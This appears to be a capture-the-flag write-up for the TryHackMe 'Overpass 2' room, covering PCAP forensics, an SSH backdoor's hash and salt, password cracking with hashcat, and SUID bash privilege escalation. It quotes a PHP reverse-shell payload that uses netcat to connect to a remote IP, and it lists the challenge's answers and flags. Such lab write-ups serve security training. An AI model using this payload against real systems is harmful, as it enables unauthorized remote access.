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https://github.com/AbdullahRizwan101/CTF-Writeups
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141 lines
No EOL
4.3 KiB
Markdown
141 lines
No EOL
4.3 KiB
Markdown
# TryHackMe-Overpass 2
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## Forensics-Analyse the PCAP
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1. What was the URL of the page they used to upload a reverse shell?
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<img src="https://imgur.com/KFBqeZb.png"/>
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`development`
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2. What payload did the attacker use to gain access?
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<img src="https://imgur.com/HkQQ5TT.png"/>
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`<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>`
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3. What password did the attacker use to privesc?
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<img src="https://imgur.com/ybqgbuh.png"/>
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Follow the tcp stream from packet `4` and change the stream until you see something interesting
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`whenevernoteartinstant`
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4. How did the attacker establish persistence?
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<img src="https://imgur.com/ocwiDNb.png"/>
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`https://github.com/NinjaJc01/ssh-backdoor`
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5. Using the fasttrack wordlist, how many of the system passwords were crackable?
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Store the hashes in a text file for cracking
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<img src="https://imgur.com/xZXW6Mx.png"/>
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<img src="https://imgur.com/8RRXeEj.png"/>
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`4`
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## Research-Analyse the code
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1. What's the default hash for the backdoor?
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Visit the github for the ssh-backdoor
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<img src="https://imgur.com/g29RECF.png"/>
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`bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3`
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2. What's the hardcoded salt for the backdoor?
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<img src="https://imgur.com/vzO9sou.png"/>
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You can find the `salt` being passed to `verifypass` function
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`1c362db832f3f864c8c2fe05f2002a05`
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3. What was the hash that the attacker used? - go back to the PCAP for this!
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<img src="https://imgur.com/axBHZVo.png"/>
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`6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed`
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4. Crack the hash using rockyou and a cracking tool of your choice. What's the password?
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Since the hash is SHA512 we are going to use hashcat and for that we have to find the mode for that hash so we can specify it to crack
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<img src="https://imgur.com/WTa7Gzj.png"/>
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But doing this didn't help as this is salted so we know the default hash that this backdoor uses so add the default salt to the hash
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```
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6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05
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```
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<img src="https://imgur.com/DVCgt3R.png"/>
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<img src="https://imgur.com/8vCm4mr.png"/>
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`november16`
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## Attack-Get back in!
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### NMAP
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```
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nmap -sC -sV 10.10.196.150
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Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-28 21:06 PKT
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Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
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NSE Timing: About 99.75% done; ETC: 21:06 (0:00:00 remaining)
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Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
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NSE Timing: About 99.75% done; ETC: 21:06 (0:00:00 remaining)
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Nmap scan report for 10.10.196.150
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Host is up (0.16s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 e4:3a:be:ed:ff:a7:02:d2:6a:d6:d0:bb:7f:38:5e:cb (RSA)
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| 256 fc:6f:22:c2:13:4f:9c:62:4f:90:c9:3a:7e:77:d6:d4 (ECDSA)
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|_ 256 15:fd:40:0a:65:59:a9:b5:0e:57:1b:23:0a:96:63:05 (ED25519)
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80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: LOL Hacked
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2222/tcp open ssh OpenSSH 8.2p1 Debian 4 (protocol 2.0)
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| ssh-hostkey:
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|_ 2048 a2:a6:d2:18:79:e3:b0:20:a2:4f:aa:b6:ac:2e:6b:f2 (RSA)
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 47.99 seconds
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```
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1. The attacker defaced the website. What message did they leave as a heading?
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<img src="https://imgur.com/drl11Rf.png"/>
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`H4ck3d by CooctusClan`
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2. What's the user flag?
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Now there are two ports open for SSH
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<img src="https://imgur.com/qylGgeA.png"/>
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Port 22 didn't work but port 2222 did as we saw from the nmap scan it is another ssh port
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`thm{d119b4fa8c497ddb0525f7ad200e6567}`
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3. What's the root flag?
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The binary `.suid_bash` has SUID permissions that can execute has the owner of that file so with `./.suid_bash -p` this -p will allow to run as the permissions of that users
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<img src="https://imgur.com/98tz8np.png"/>
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`thm{d53b2684f169360bb9606c333873144d}` |